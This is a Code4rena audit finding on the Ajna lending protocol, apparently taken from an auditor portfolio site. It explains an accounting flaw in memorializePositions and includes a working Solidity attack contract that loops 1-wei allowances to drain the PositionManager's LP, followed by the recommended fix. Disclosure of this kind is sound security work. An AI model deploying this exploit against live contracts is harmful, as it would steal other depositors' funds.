Ajna Protocol - xuwinnie's results

A peer to peer, oracleless, permissionless lending protocol with no governance, accepting both fungible and non fungible tokens as collateral.

General Information

Platform: Code4rena

Start Date: 03/05/2023

Pot Size: $60,500 USDC

Total HM: 25

Participants: 114

Period: 8 days

Judge: Picodes

Total Solo HM: 6

Id: 234

League: ETH

Ajna Protocol

Findings Distribution

Researcher Performance

Rank: 44/114

Findings: 1

Award: $237.76

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: BPZ

Also found by: Haipls, Koolex, SpicyMeatball, ast3ros, sces60107, xuwinnie

Labels

bug
3 (High Risk)
satisfactory
duplicate-256

Awards

237.7565 USDC - $237.76

External Links

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L202 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/libraries/external/LPActions.sol#L244 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/libraries/external/LPActions.sol#L260

Vulnerability details

Impact

In function memorializePositions, position.lps+=lpBalance is conducted. However, when memorializePositions is calling pool.transferLP, if user's allowedAmount is less than ownerLpBalance, the lp will not be fully transffered. Position.lps in mapping positions is incorrectly updated.

Proof of Concept

Attacker can increaseLPAllowance to PositonManager by a small amount and then memorializePositions, only allowedAmount of lp will be transffered by function pool.transferLP, but the mapping position will be updated as if it has been fully transffered. Attacker repeat the steps until his position.lps exceeds the total lp amount that PositonManager owned, then he can drain all mined LP by reedemPositions.

A demo contract is given below, targeting AJNA-WETH pool.

// SPDX-License-Identifier: MIT pragma solidity 0.8.14; import {WETH9} from 'weth/WETH9.sol'; import {ERC20Pool} from './src/ERC20Pool.sol'; import {Pool} from './src/base/Pool.sol'; import {PositionManager} from './src/PositionManager.sol'; contract Attack{ struct MemorializePositionsParams { uint256 tokenId; uint256[] indexes; } struct RedeemPositionsParams { uint256 tokenId; // The tokenId of the positions NFT address pool; // The pool address associated with positions NFT uint256[] indexes; // The array of bucket indexes to reedem positions for } address _ERC20Pool; address _PositionManager; address payable _WETH9; constructor(address ERC20Pool_, address PositionManager_, address payable WETH9_){ _ERC20Pool=ERC20Pool_; _PositionManager=PositionManager_; _WETH9=WETH9_; } //Attacker call fuction go with 1 ether function go (address self, uint bucketIndex) external payable returns(uint,uint){ WETH9(_WETH9).deposit{value:1e18}(); WETH9(_WETH9).approve(_ERC20Pool,1e18); ERC20Pool(_ERC20Pool).addQuoteToken(1e18,bucketIndex,2*block.timestamp); uint tokenId; {bytes memory p=abi.encodeWithSignature("mint((address,address,bytes32))",self,_ERC20Pool,0x2263c4378b4920f0bef611a3ff22c506afa4745b3319c50b6d704a874990b8b2); (,bytes memory pReturn)=_PositionManager.call(p); tokenId=abi.decode(pReturn,(uint));} {address[] memory transferors=new address[](1); transferors[0]=_PositionManager; Pool(_ERC20Pool).approveLPTransferors(transferors);} //get minted lp amount before attack (uint mintedLP,)=ERC20Pool(_ERC20Pool).lenderInfo(bucketIndex,_PositionManager); bytes memory q; bytes memory r; uint256[] memory indexes=new uint[](1); indexes[0]=bucketIndex; uint256[] memory amounts=new uint[](1); amounts[0]=1; {MemorializePositionsParams memory qq; RedeemPositionsParams memory rr; qq.tokenId=tokenId; qq.indexes=indexes; rr.tokenId=tokenId; rr.pool=_ERC20Pool; rr.indexes=indexes; q=abi.encodeWithSignature("memorializePositions((uint256,uint256[]))",qq); r=abi.encodeWithSignature("reedemPositions((uint256,address,uint256[]))",rr);} //repeat until drained for(uint leftLP=1; leftLP>0 ;) { //only allow 1 wei Pool(_ERC20Pool).increaseLPAllowance(_PositionManager,indexes,amounts); _PositionManager.call(q); _PositionManager.call(r); (leftLP,)=ERC20Pool(_ERC20Pool).lenderInfo(bucketIndex,_PositionManager); } //get current lp amount of attacker (uint nowLP,)=ERC20Pool(_ERC20Pool).lenderInfo(bucketIndex,self); return (mintedLP,nowLP); } }

Tools Used

Manual review

Add a parameter transferAmount for function transferLP. Revert if allowedAmount is less than transferAmount.

Assessed type

Context

#0 - c4-judge

2023-05-18T09:52:57Z

Picodes marked the issue as duplicate of #256

#1 - c4-judge

2023-05-30T19:12:18Z

Picodes marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter